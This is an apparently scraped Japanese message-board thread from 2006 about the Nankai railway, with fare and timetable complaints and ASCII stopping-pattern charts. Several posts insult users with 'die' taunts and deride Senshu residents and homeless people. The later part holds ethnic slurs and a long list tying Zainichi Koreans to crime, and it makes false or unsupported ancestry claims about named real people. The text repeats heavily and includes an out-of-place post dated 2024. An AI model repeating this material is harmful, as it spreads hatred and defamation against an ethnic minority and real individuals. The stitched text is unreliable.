マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」
と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、
建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
_, ._（ ﾟ Дﾟ）>1 赤字南海スレ立てんな、蛆虫、氏ね。〔ﾉ二二,＿＿_・|・＿＿,二二ヽ〕|::::::::::::::::
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南海は全体が古臭い駅とかまだパラパラ掲示板やし汚いし・・・スー玉とドンキはDQNスーパー南海と酉武はDQN電車
スー玉の1円セール品よっか酷い赤字南海 南海とスーパー玉出は一般人からのイメージが同じなので、提携したら
相乗効果が出ていいと思う。南海線は運賃が高すぎるし、遅い。不便な不等間隔で行き先もバラバラの運転で使いづらい。
せめて運賃は阪急並みにならないものかと。もし南海が阪急の運賃水準なら・・・難波から堺まで２５０円→２２０円
泉大津まで４３０円→２７０円岸和田まで４８０円→３１０円泉佐野まで５８０円→３６０円みさき公園まで７７０円
→３９０円和歌山市まで８９０円→５１０円難波駅の運賃表を見た京阪神の人達には和歌山がとんでもなく遠く感じるようだ。
みさき公園から難波まで１０００円のカードで往復しても２２０円余ると考えれば鳥肌もの。実際は１０００円のカードで
片道分のみの使用でも残額が２３０円しか余らないのです。大阪市近辺の方には実感がないでしょうが、この運賃で地元から
南海線が敬遠されているのもお分かりでしょう。バスカードのような割引率が高い5000円で5800円使用できるカードとか。
時差カードの2000円で2720円使えるカードも南海線には望まれています。それらカードを適用したと仮定すれば・・・
（※単位は円。カッコ内は時差カード適用分）堺216(184)泉大津371(317)岸和田414(353)泉佐野500(427)みさき公園664(566)
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南海は全体が古臭い駅とかまだパラパラ掲示板やし汚いし・・・スー玉とドンキはDQNスーパー南海と酉武はDQN電車
スー玉の1円セール品よっか酷い赤字南海 南海とスーパー玉出は一般人からのイメージが同じなので、提携したら
相乗効果が出ていいと思う。南海線は運賃が高すぎるし、遅い。不便な不等間隔で行き先もバラバラの運転で使いづらい。
せめて運賃は阪急並みにならないものかと。もし南海が阪急の運賃水準なら・・・難波から堺まで２５０円→２２０円
泉大津まで４３０円→２７０円岸和田まで４８０円→３１０円泉佐野まで５８０円→３６０円みさき公園まで７７０円
→３９０円和歌山市まで８９０円→５１０円難波駅の運賃表を見た京阪神の人達には和歌山がとんでもなく遠く感じるようだ。
みさき公園から難波まで１０００円のカードで往復しても２２０円余ると考えれば鳥肌もの。実際は１０００円のカードで
片道分のみの使用でも残額が２３０円しか余らないのです。大阪市近辺の方には実感がないでしょうが、この運賃で地元から
南海線が敬遠されているのもお分かりでしょう。バスカードのような割引率が高い5000円で5800円使用できるカードとか。
時差カードの2000円で2720円使えるカードも南海線には望まれています。それらカードを適用したと仮定すれば・・・
（※単位は円。カッコ内は時差カード適用分）堺216(184)泉大津371(317)岸和田414(353)泉佐野500(427)みさき公園664(566)
和歌山市768(655)これだけ割引率を高くしても阪急の運賃レベルより割高です。いかに南海の運賃が高いのかお分かりでしょう。
少なくとも今の回数券の割引制度では焼け石に水です。南海線は運賃が高すぎるし、遅い。不便な不等間隔で行き先もバラバラの
運転で使いづらい。せめてダイヤは阪急並みにならないものかと。もし南海が阪急のダイヤ体系なら・・・昼間のデータイムは
完全な１５サイクルにならないかなぁ・・・◆運転パターン特急−和歌山市行（全席自由席）毎時０・１５・３０・４５分発急行
−和歌山市行（泉佐野から各駅停車）毎時２・１７・３２・４７分発普通−関西空港行（泉佐野で特急・急行から連絡）毎時４・
１９・３４・４９分発泉佐野の高架工事完了後の５線供用が条件（泉佐野での退避時間が３分程度長くなる）実質増便となる為、
難波〜泉佐野では特急の停車駅を絞ることを前提にしています。まぁ不可能だが‘ＪＲ特急並’の速度なら参考程度に・・・難波発基準。
堺…７分、岸和田…１５分、泉佐野…１９分、尾崎…２３分、みさき公園…２８分、和歌山市…３５分ついでに新快速の速度なら・・・
堺…８分、岸和田…１７分、泉佐野…２２分、尾崎…２８分、みさき公園…３４分、和歌山市…４２分現在の特急サザン堺…１０分、
岸和田…２１分、泉佐野…２８分、尾崎…３６分、みさき公園…４４分、和歌山市…５６分体力の無い会社は停車駅と本数を増やす
少なくとも今の回数券の割引制度では焼け石に水です。南海線は運賃が高すぎるし、遅い。不便な不等間隔で行き先もバラバラの
運転で使いづらい。せめてダイヤは阪急並みにならないものかと。もし南海が阪急のダイヤ体系なら・・・昼間のデータイムは
完全な１５サイクルにならないかなぁ・・・◆運転パターン特急−和歌山市行（全席自由席）毎時０・１５・３０・４５分発急行
−和歌山市行（泉佐野から各駅停車）毎時２・１７・３２・４７分発普通−関西空港行（泉佐野で特急・急行から連絡）毎時４・
１９・３４・４９分発泉佐野の高架工事完了後の５線供用が条件（泉佐野での退避時間が３分程度長くなる）実質増便となる為、
難波〜泉佐野では特急の停車駅を絞ることを前提にしています。まぁ不可能だが‘ＪＲ特急並’の速度なら参考程度に・・・難波発基準。
堺…７分、岸和田…１５分、泉佐野…１９分、尾崎…２３分、みさき公園…２８分、和歌山市…３５分ついでに新快速の速度なら・・・
堺…８分、岸和田…１７分、泉佐野…２２分、尾崎…２８分、みさき公園…３４分、和歌山市…４２分現在の特急サザン堺…１０分、
岸和田…２１分、泉佐野…２８分、尾崎…３６分、みさき公園…４４分、和歌山市…５６分体力の無い会社は停車駅と本数を増やす
のがベストかな。関西大手では圧倒的に運賃が高いイメージがある近鉄も高いが南海ほどではないようななぜだろう2004年度大学進学実績
東大京大阪大神大早大慶大北野高校５４２３３４３１６１９茨木高校２３７５１４０１２１１岸和田高校０４１９６６２泉州は教育レベルの
低い親が多く、金をかけて子供に教育をつける考えがあまりない。そのためいわゆるDQNが多い。優秀な奴は高校・大学卒業後、キタや東京へ
DQNばかりが中卒・高卒後も地元に残り２０前後で結婚し子供を沢山産む。祭りに参加することのみが生き甲斐。地元の公立高校で十分と
考えている人が多く、学区内トップの岸和田高校に進もうものなら泉州では神扱い。関空も建設することのみに意義あり。地元の土建屋が
潤うだけ。大半の泉州人にとってはあろうがなかろうが一緒。そもそも海外出張（否近畿圏外出張も）の用事のある奴など泉州には
ほとんど住んでいない。赤字南海23:59:59なら赤字南海倒産
東大京大阪大神大早大慶大北野高校５４２３３４３１６１９茨木高校２３７５１４０１２１１岸和田高校０４１９６６２泉州は教育レベルの
低い親が多く、金をかけて子供に教育をつける考えがあまりない。そのためいわゆるDQNが多い。優秀な奴は高校・大学卒業後、キタや東京へ
DQNばかりが中卒・高卒後も地元に残り２０前後で結婚し子供を沢山産む。祭りに参加することのみが生き甲斐。地元の公立高校で十分と
考えている人が多く、学区内トップの岸和田高校に進もうものなら泉州では神扱い。関空も建設することのみに意義あり。地元の土建屋が
潤うだけ。大半の泉州人にとってはあろうがなかろうが一緒。そもそも海外出張（否近畿圏外出張も）の用事のある奴など泉州には
ほとんど住んでいない。赤字南海23:59:59なら赤字南海倒産
これを発見666名前：名無し野電車区：2006/07/13(木)21:45:22ID:E8K/yOma要するに、
関西はそのまま生活してもらう環境が足りないんと違うやろか。ネットなど通信技術も
進んで地方でもある程度仕事もできるし。住環境なら地方だし、消費や娯楽は東京。
関西のいいところは？通勤電車が名古屋よりも空いていることか。就職先の用意も必要だな。
大阪は公務員を除いたデータでは、日本一労働時間が長いのに、賃金は関東や東海地方より安い。
子供と家を持たない若者が出ていくのも当然や。大阪に残るのはカスばかり。結果的に大阪の
企業の競争力は弱まるし、犯罪がさらに増えている。特に、南大阪の南海沿線などは悲惨過ぎる。
>127は今宮戎の間違い今宮戎〜新今宮へ伸びる線路東側の道路は、まさに浮浪者天国23:59:59なら
赤字南海倒産難波駅前の犬数匹連れた浮浪者、何とかしろよ！南海は_＿＿＿＿__＿＿＿＿_（＿
＿＿__）/⌒/l⌒lＯ（＿__ ＿__）l⌒l／／＿＿＿＿__//||＿＿＿＿____＿||＿__l⌒l＿||＿l⌒l
／<（＿＿＿＿__）//||（＿＿＿＿__）（__＿ ＿__）└─┐┌─‐┘／／＼＼//||___＿||＿_0 l
⌒l＿||＿l⌒l（__ノ＼__）（__ノ（___）（＿＿＿＿___）|＿＿＿＿＿___|阪急=いかりスーパー
阪和線=イズミヤ南海=スーパー玉出京阪は京阪ストアが京阪沿線の生活地盤を支えてる南海沿線は
玉出によって生活地盤を支えている532：おかいものさん：2006/03/03(金)20:49:25鉄道板で、南海
電鉄の7000系というボロ電車のことを「電車版のスーパー玉出」なんて言ってた奴が居たが・・・
赤字南海の存在意義を問う南海がつぶれたら通勤に困るからせめて買収してほしい スーパー玉出、
南海買収！南海とスーパー玉出は、低民度という社風は合ってると思うが、いかんせんスーパー
玉出は安かろう悪かろうな反面、南海は高かろう悪かろうだからなぁ。
関西はそのまま生活してもらう環境が足りないんと違うやろか。ネットなど通信技術も
進んで地方でもある程度仕事もできるし。住環境なら地方だし、消費や娯楽は東京。
関西のいいところは？通勤電車が名古屋よりも空いていることか。就職先の用意も必要だな。
大阪は公務員を除いたデータでは、日本一労働時間が長いのに、賃金は関東や東海地方より安い。
子供と家を持たない若者が出ていくのも当然や。大阪に残るのはカスばかり。結果的に大阪の
企業の競争力は弱まるし、犯罪がさらに増えている。特に、南大阪の南海沿線などは悲惨過ぎる。
>127は今宮戎の間違い今宮戎〜新今宮へ伸びる線路東側の道路は、まさに浮浪者天国23:59:59なら
赤字南海倒産難波駅前の犬数匹連れた浮浪者、何とかしろよ！南海は_＿＿＿＿__＿＿＿＿_（＿
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阪和線=イズミヤ南海=スーパー玉出京阪は京阪ストアが京阪沿線の生活地盤を支えてる南海沿線は
玉出によって生活地盤を支えている532：おかいものさん：2006/03/03(金)20:49:25鉄道板で、南海
電鉄の7000系というボロ電車のことを「電車版のスーパー玉出」なんて言ってた奴が居たが・・・
赤字南海の存在意義を問う南海がつぶれたら通勤に困るからせめて買収してほしい スーパー玉出、
南海買収！南海とスーパー玉出は、低民度という社風は合ってると思うが、いかんせんスーパー
玉出は安かろう悪かろうな反面、南海は高かろう悪かろうだからなぁ。
なぜ南海は、難波駅前の犬をたくさん連れたホームレスを放置してるの？キモいし迷惑だし。
なぜ南海は、難波駅前の犬をたくさん連れたホームレスを放置してるの？キモいし迷惑だし。
なぜ南海は、難波駅前の犬をたくさん連れたホームレスを放置してるの？キモいし迷惑だし。
403 ：名無しでGO!：2006/07/16(日) 00:01:01 ID:2vEg4CNc0
23:59:59なら赤字南海、経営黒字化
停車駅をわざわざ変更する前に終電を繰り下げるのが先。最終の区急の出発を０時２５分頃まで遅くすると効果が大きい。
御堂筋線の終電からの客を受けることが可能になる。
高野線の区急最終に連絡するには梅田２３時５１発から０時０８分発まで２０分弱違ってくる。
また、新幹線の最終（のぞみ１６１号）からも乗り継げるようになる。
こちらは、現在の東京２０時５０分発から２１時１８分発と３０分近くも違ってくる。
ＪＲ阪和線では、最終の新幹線から何と日根野駅まで接続が確保されている。
他には、西明石・新三田・王寺まで確保と深夜帯は充実している。ここは南海も深夜帯の拡充は望まれるところ。
御堂筋線の終電からの客を受けることが可能になる。
高野線の区急最終に連絡するには梅田２３時５１発から０時０８分発まで２０分弱違ってくる。
また、新幹線の最終（のぞみ１６１号）からも乗り継げるようになる。
こちらは、現在の東京２０時５０分発から２１時１８分発と３０分近くも違ってくる。
ＪＲ阪和線では、最終の新幹線から何と日根野駅まで接続が確保されている。
他には、西明石・新三田・王寺まで確保と深夜帯は充実している。ここは南海も深夜帯の拡充は望まれるところ。
なんで新幹線に拘るの？南海沿線ならＮＨ９７７便で楽勝
最終の新幹線から、乗り継いで行ける範囲が、南下させられるに越したことないが。
名古屋を23時に出ても間に合うから、フレックス使いにも便利になる。
南海は保線などの絡みで、基本的には１〜５時の４時間は、電車を走らせないので難しいが。
もうちょっと南海は努力を見せる必要性がある。
名古屋を23時に出ても間に合うから、フレックス使いにも便利になる。
南海は保線などの絡みで、基本的には１〜５時の４時間は、電車を走らせないので難しいが。
もうちょっと南海は努力を見せる必要性がある。
横浜や名古屋や京都からは新幹線だろ？飛行機は使えねーよ。
これでよしな新天岸粉住住七堺湊石諏浜羽高北松泉忠春和岸蛸貝二鶴井泉羽吉岡樽尾鳥箱淡み孝紀和
ん今下里浜吉ノ 道＿＿津訪寺衣石助ノ大岡木泉和地塚色原原佐倉見田井崎取作輪さ子ノ歌●●━━
━━━━━━━━━━━━━━━━━━━━━━━●ラピート●●●━━━━━●━━━━━━━━
━━━━●━━━━━●━━━━●━━━●━━●サザン●●●━━━━━●━━━━●━━━●━
━━●━●━━━●━━━━●━━━●━━●急行●●●━━━━━●━━━━●━━━●━●━●
━●━━━●━━━━━━━━━━━━空港急行●●●━━━━━●━━━━●━━━●━●━●━
●━━━●●●●●●●●●●●●●区急●●●━━●━━●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●準急●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●普通ラピートは本来、関空まで直通であるべきだ。事実、登場した当初は
ノンストップに近かった。だが、滋賀や京都、新大阪など広範囲のネットワークを誇るJRのはるかに
負け、おかしくなった。苦戦を続ける関空特快ウイングがラピートの目下のライバルとなり、停車駅
の追加を迫られた。ウイング退場後も、停車駅を増やしたことが幹部の経営上の判断ミスだったと
認めたくないがために、途中停車策を続け、『ノンストップ』という快適性を失ったラピートの客
離れがますます加速した。そういう経緯を考えると、当時の経営陣の判断ミスを認め、ラピートの
停車駅削減をするのも１つの手ではあろう。
ん今下里浜吉ノ 道＿＿津訪寺衣石助ノ大岡木泉和地塚色原原佐倉見田井崎取作輪さ子ノ歌●●━━
━━━━━━━━━━━━━━━━━━━━━━━●ラピート●●●━━━━━●━━━━━━━━
━━━━●━━━━━●━━━━●━━━●━━●サザン●●●━━━━━●━━━━●━━━●━
━━●━●━━━●━━━━●━━━●━━●急行●●●━━━━━●━━━━●━━━●━●━●
━●━━━●━━━━━━━━━━━━空港急行●●●━━━━━●━━━━●━━━●━●━●━
●━━━●●●●●●●●●●●●●区急●●●━━●━━●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●●●●準急●●●●●●●●●●●●●●●●●●●●●●●●●●●●●
●●●●●●●●●●●普通ラピートは本来、関空まで直通であるべきだ。事実、登場した当初は
ノンストップに近かった。だが、滋賀や京都、新大阪など広範囲のネットワークを誇るJRのはるかに
負け、おかしくなった。苦戦を続ける関空特快ウイングがラピートの目下のライバルとなり、停車駅
の追加を迫られた。ウイング退場後も、停車駅を増やしたことが幹部の経営上の判断ミスだったと
認めたくないがために、途中停車策を続け、『ノンストップ』という快適性を失ったラピートの客
離れがますます加速した。そういう経緯を考えると、当時の経営陣の判断ミスを認め、ラピートの
停車駅削減をするのも１つの手ではあろう。
これが一番理想的な停車駅案難今新萩天岸帝住沢我浅堺三百中白初萩北狭大金滝千長三美千天紀林御橋清学九高下上細神極高
波戎今茶茶里塚東町孫香東国舌百鷺芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●━●━●━━━━━━●━
━●━━━━━━━━━━━●━━━●━●━━━━━━━━●○こうや●━●━●━━━━━━●━━●━━━━━━━━
━━━●━━━●━●りんかん●━●━●━●━━━━●●━●━━━●━━●━━●●●●●●●●●●●●●●●●●●
○快急●━●━●━●━━━━●●━●━━━●━━●━━●●●●●●●●●●●●●●●●●●○急行●━●━●━●━
━━━●●━●━━━●●●●●●●●●●●●●区急●━●━●━●━━━━●●●●●●●●●●●●●●●準急●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停間違えたこれが一番理想的な
停車駅案難今新萩天岸帝住沢我浅堺三百中白初萩北狭大金滝千長三美千天紀林御橋清学九高下上細神極高波戎今茶茶里塚東
町孫香東国舌百鷺芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●━●━●━━━━━━●━━●━━━━━
━━━━━━●━━━●━●━━━━━━━━●○こうや●━●━●━━━━━━●━━●━━━━━━━━━━━●━━
━●━●りんかん●━●━●━●━━━━●●━●━━━●━━●━━●●●●●●●●●●●●●●●●●●○快急●━
波戎今茶茶里塚東町孫香東国舌百鷺芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●━●━●━━━━━━●━
━●━━━━━━━━━━━●━━━●━●━━━━━━━━●○こうや●━●━●━━━━━━●━━●━━━━━━━━
━━━●━━━●━●りんかん●━●━●━●━━━━●●━●━━━●━━●━━●●●●●●●●●●●●●●●●●●
○快急●━●━●━●━━━━●●━●━━━●━━●━━●●●●●●●●●●●●●●●●●●○急行●━●━●━●━
━━━●●━●━━━●●●●●●●●●●●●●区急●━●━●━●━━━━●●●●●●●●●●●●●●●準急●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停間違えたこれが一番理想的な
停車駅案難今新萩天岸帝住沢我浅堺三百中白初萩北狭大金滝千長三美千天紀林御橋清学九高下上細神極高波戎今茶茶里塚東
町孫香東国舌百鷺芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●━●━●━━━━━━●━━●━━━━━
━━━━━━●━━━●━●━━━━━━━━●○こうや●━●━●━━━━━━●━━●━━━━━━━━━━━●━━
━●━●りんかん●━●━●━●━━━━●●━●━━━●━━●━━●●●●●●●●●●●●●●●●●●○快急●━
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●━●━━━●●●●●●●●●●●●●区急●━●━●━●━━━━●●●●●●●●●●●●●●●準急●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停やっぱりこっちの方がよし難今新萩
天岸帝住沢我浅堺三百中白初萩北狭大金滝千長三美千天紀林御橋清学九高下上細神極高波戎今茶茶里塚東町孫香東国舌百鷺
芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●━●━●━━━━━━●━━●━━━━━━━━━━━●━
━━●━●━━━━━━━━●○こうや●━●━●━━━━━━●━━●━━━━━━━━━━━●━━━●━●りんかん
●━●━●━●━━━━●●━●━━━●━━●━━●●●●●●●●●●●●●●●●●●○快急●━●━●━●━━━
━●●━●━━━●━━●●●●●●●●●●●●●●●●●●●●●○急行●━●━●━●━━━━●●━●━━━●●
●●●●●●●●●●●区急●━●━●━●━━━━●●●●●●●●●●●●●●●準急●━●━●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停
●━●━━━●●●●●●●●●●●●●区急●━●━●━●━━━━●●●●●●●●●●●●●●●準急●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停やっぱりこっちの方がよし難今新萩
天岸帝住沢我浅堺三百中白初萩北狭大金滝千長三美千天紀林御橋清学九高下上細神極高波戎今茶茶里塚東町孫香東国舌百鷺
芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●━●━●━━━━━━●━━●━━━━━━━━━━━●━
━━●━●━━━━━━━━●○こうや●━●━●━━━━━━●━━●━━━━━━━━━━━●━━━●━●りんかん
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━●●━●━━━●━━●●●●●●●●●●●●●●●●●●●●●○急行●━●━●━●━━━━●●━●━━━●●
●●●●●●●●●●●区急●━●━●━●━━━━●●●●●●●●●●●●●●●準急●━●━●●●●●●●●●●
●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停
411 ：ひみつの検疫さん：2024/05/09(木) 17:55:32 ID:MarkedRes
汚染を除去しました。
━━━●━━━●━━━━━●空港急行●●●━━━━━●━━━━●━━━●━━━●━━━━━●●●●●●●●●●●●●急行●●●●●●●●●●●●●●●●●●●●●●●●●●
●●普通高野線は、今宮戎、萩ノ茶屋を廃止し、駅員をリストラした上で、これでよし。難新天岸帝住沢我浅堺三百中白初萩北狭大金滝千長三美千天紀林御橋清学九高下上細神極高波今茶里塚
東町孫香東国舌百鷺芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●●━━━━━━━●━━●━━━━━━━━━━━●━━━●━●━━━━━━━━●○こうや●●━━━━
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●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停>298の間違い発見普通の折り返し駅は羽倉崎だった。ということで、これでよし。な新天岸粉住
住七堺湊石諏浜羽高北松泉忠春和岸蛸貝二鶴井泉羽吉岡樽尾鳥箱淡み孝紀和ん今下里浜吉ノ道＿＿津訪寺衣石助ノ大岡木泉和地塚色原原佐倉見田井崎取作輪さ子ノ歌●●━━━━━━━━━━
━━━━━━━━━━━━━━━●ラピート●●━━━━━━━━━━━━━━━━━━━━━━━━━●●━━━●━●━●●━●サザン●●●━━━━━●━━━━●━━━●━━━●━
━━━━●空港急行●●●━━━━━●━━━━●━━━●━━━●━━━━━●●●●●●●●●●●●●急行●●●●●●●●●●●●●●●●●●●●●●●●●●●●●普通
●●普通高野線は、今宮戎、萩ノ茶屋を廃止し、駅員をリストラした上で、これでよし。難新天岸帝住沢我浅堺三百中白初萩北狭大金滝千長三美千天紀林御橋清学九高下上細神極高波今茶里塚
東町孫香東国舌百鷺芝原野山狭剛谷代野日加早見見間幸本水文度下古古川谷楽野●●━━━━━━━●━━●━━━━━━━━━━━●━━━●━●━━━━━━━━●○こうや●●━━━━
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━━●━━●●●●●●●●●●●●●●●●●●●●●○急行●●●━●━━━━●●━●━━━●●●●●●●●●●●●●区急●●●━●━━━━●●●●●●●●●●●●●●●準急
●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●○各停>298の間違い発見普通の折り返し駅は羽倉崎だった。ということで、これでよし。な新天岸粉住
住七堺湊石諏浜羽高北松泉忠春和岸蛸貝二鶴井泉羽吉岡樽尾鳥箱淡み孝紀和ん今下里浜吉ノ道＿＿津訪寺衣石助ノ大岡木泉和地塚色原原佐倉見田井崎取作輪さ子ノ歌●●━━━━━━━━━━
━━━━━━━━━━━━━━━●ラピート●●━━━━━━━━━━━━━━━━━━━━━━━━━●●━━━●━●━●●━●サザン●●●━━━━━●━━━━●━━━●━━━●━
━━━━●空港急行●●●━━━━━●━━━━●━━━●━━━●━━━━━●●●●●●●●●●●●●急行●●●●●●●●●●●●●●●●●●●●●●●●●●●●●普通
/⌒⌒⌒⌒⌒⌒))／￣￣￣￣￣￣￣￣￣￣￣（从ノ.ノ|さて、ここは糞ｽﾚだから
(.／ ￣￣￣￣＼|そろそろ南海沿線に|::::::ヽ......丶.|テポドンでも撃って
お終いに|::::._＿＿＿＿＿＿)）/＜するニダ(^^ゝ（∂:￣￣|￣・` |=|・￣ |
（(＼＿＿＿＿＿＿＿＿＿＿＿（（￣)・・(￣iｎ.ｎ)ﾉ＿＿＿＿__ヘ＼.._.)Ｃ(
._丿.＝|_|=・.│|＼＿_＼＿__／＼ヽ＿二__.ノ<つ(.(rヽ|||＝|iiiiiiiiiii|/
⌒ヽ.＼__／＼i/＼ヽ.(.ﾉ|||=.|iiiiiiiiiii||ヽ＿＿＿＿＼o＼./|.|||三|＿「
r.､|／///￣.＼＼二||＿..|＿／（）￣)）ヽ＿＿＿＿＿_//r_/| |.||⌒ヽ〜〔￣
￣!￣￣￣／￣￣＼（(
(.／ ￣￣￣￣＼|そろそろ南海沿線に|::::::ヽ......丶.|テポドンでも撃って
お終いに|::::._＿＿＿＿＿＿)）/＜するニダ(^^ゝ（∂:￣￣|￣・` |=|・￣ |
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⌒ヽ.＼__／＼i/＼ヽ.(.ﾉ|||=.|iiiiiiiiiii||ヽ＿＿＿＿＼o＼./|.|||三|＿「
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￣!￣￣￣／￣￣＼（(
南海ヲタは在日ﾁｮｿ多い
このスレオワタ
┌─────────┐│.|│赤字南海警報！││.|└―――──――――┘
ヽ(´ー｀)ﾉ(へ)く
ヽ(´ー｀)ﾉ(へ)く
赤字南23:59:59なら赤字南海、新車導入
そういや今日は赤字南海があぼんする日だったので帝国データバンク見てから寝るかおはよう
言葉使いについて、通報しました赤字南海の経営は常に脱線言葉使いについて、通報しました
赤字南海のサービスレベルが底辺だからな
421 ：名無しでGO!：2006/07/17(月) 22:54:37 ID:g4NcY4vZO
age
age23:59:59なら赤字南海、近鉄京阪阪急阪神買収
南海はボロい
南海isボロい！南海isボロい！南海isボロい！南海isボロい！南海isボロい！南海isボロい！南海isボロい！
南海isボロい！南海isボロい！南海isボロい！南海isボロい！南海isボロい！南海isボロい！南海isボロい！
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丶',',,'; ' ,.ィヽ、ﾞ､',',;,'/＿ ﾚ'Ｚ／} /|/l,}〉∠、'､,''/ｒデﾐー''ｲｰｋ'｝ル'ｿ／,ゝ、｀ｰ','〈_ｊ
゛｀ー′/でﾝ/}'´,.┴─‐ｌ゛−"/ﾊ､.ゝ゛,'ノ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣/｀、ﾊｎ/}/ヽヾﾆァ'/、＜
>1赤字南海スレ立てんな、蛆虫、氏ね。./ヽ.ﾄ､]_[ノ{＼｀,.イト､＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿./{／￣'
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>1赤字南海スレ立てんな、蛆虫、氏ね。./ヽ.ﾄ､]_[ノ{＼｀,.イト､＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿./{／￣'
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／/ﾑ／∧l／/／／/ﾚ'′／×＼>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1
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死にたくないからいくらでも殺せます赤字南海ヲタならいくらでも赤字南海ヲタ消えろ
金持ちが住むエリア、それが北大阪であり阪急沿線である。貧乏人が住むエリア、
それが南大阪であり南海沿線である。関西の芸能人を見れば一目瞭然。売れっ子は
みんな阪急沿線に豪邸を構える。
金持ちが住むエリア、それが北大阪であり阪急沿線である。貧乏人が住むエリア、
それが南大阪であり南海沿線である。関西の芸能人を見れば一目瞭然。売れっ子は
みんな阪急沿線に豪邸を構える。
そもそも民度が低く低収入者が南海沿線に集まるから、南海沿線には在日ﾁｮｿが多いのもこれまた必然的。
おはよう異常な赤字南海ですねこの赤字南海はヤバいヤバい赤字南海ヤバい
赤字南海ヲタの精神構造がヤバいまた赤字南海か？赤字南海age
赤字南海ヲタの精神構造がヤバいまた赤字南海か？赤字南海age
赤字南海倒赤字南海ぬるぽ ●反日TBSｷｬｽﾀｰ筑紫哲也（→朴三寿：元朝日記者、反日・共産キャスター）●サラ金(消費者金融)及び街金融、そして闇金。
実際は在日朝鮮人が経営に当たり凶悪な取り立ててで暴利をむさぼっている。客が自殺しても、「保険で降りるからﾗｯｷｰ」と冷酷に笑う。それは反日
教育されたチョンだからか？●池田大作(草加学会)（→父：ソンジャンチョク、帰化人）（在日への選挙権推進、韓国での反日活動の実績）●大都市を
牛耳る組織暴力団のほとんどが在日朝鮮人・韓国人。日本名にだまされては駄目。●パチンコ・スロットが駅前を独占し暴力団と連携を図り、強制連行の
嘘を盾として利権をむさぼる在日特権者たち。●鄭隆之 ２００５年４月２５日から５月１５日にかけ、１７歳だった大阪府茨木市の女子高校生を車内や
自宅に監禁。「逃げたら殺す」と脅し、女子高生の所持金で手錠を購入し手をつなぐなどした。３月には兵庫県の１７歳の少女を車で連れ回し、ホテル
などに監禁した。●麻原影晃・・父が朝鮮国籍。●林ますみ・・（和歌山毒入りカレー犯人）在日帰化。●宅間 守・・（大阪池田小学校大量殺人犯）
朝鮮部落出身。密港在。●織原誠二・・（英国人ルーシーブラックマンさん殺害犯）親が韓国。●李 昇一・・朝鮮人の強姦魔。「ガキの使い」語り
１４０人以上の女性をレイプ。●金保・・（少女強姦魔の牧師）在日●酒鬼薔薇聖斗・・（東慎一郎・神戸の首切り猟奇小僧）両親とも在日●関根元・・
（埼玉愛犬家殺人犯）在日●郭 明折・・韓国キリスト教の宣教師。連続強姦魔。被害者１００人以上●韓国（南朝鮮半島政府）・・日本領、竹島を不法
占拠。韓流タレントは南朝鮮半島政府の竹島暴挙を支持23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業
23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、
自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら
赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業23:59:59なら赤字南海、自主廃業
実際は在日朝鮮人が経営に当たり凶悪な取り立ててで暴利をむさぼっている。客が自殺しても、「保険で降りるからﾗｯｷｰ」と冷酷に笑う。それは反日
教育されたチョンだからか？●池田大作(草加学会)（→父：ソンジャンチョク、帰化人）（在日への選挙権推進、韓国での反日活動の実績）●大都市を
牛耳る組織暴力団のほとんどが在日朝鮮人・韓国人。日本名にだまされては駄目。●パチンコ・スロットが駅前を独占し暴力団と連携を図り、強制連行の
嘘を盾として利権をむさぼる在日特権者たち。●鄭隆之 ２００５年４月２５日から５月１５日にかけ、１７歳だった大阪府茨木市の女子高校生を車内や
自宅に監禁。「逃げたら殺す」と脅し、女子高生の所持金で手錠を購入し手をつなぐなどした。３月には兵庫県の１７歳の少女を車で連れ回し、ホテル
などに監禁した。●麻原影晃・・父が朝鮮国籍。●林ますみ・・（和歌山毒入りカレー犯人）在日帰化。●宅間 守・・（大阪池田小学校大量殺人犯）
朝鮮部落出身。密港在。●織原誠二・・（英国人ルーシーブラックマンさん殺害犯）親が韓国。●李 昇一・・朝鮮人の強姦魔。「ガキの使い」語り
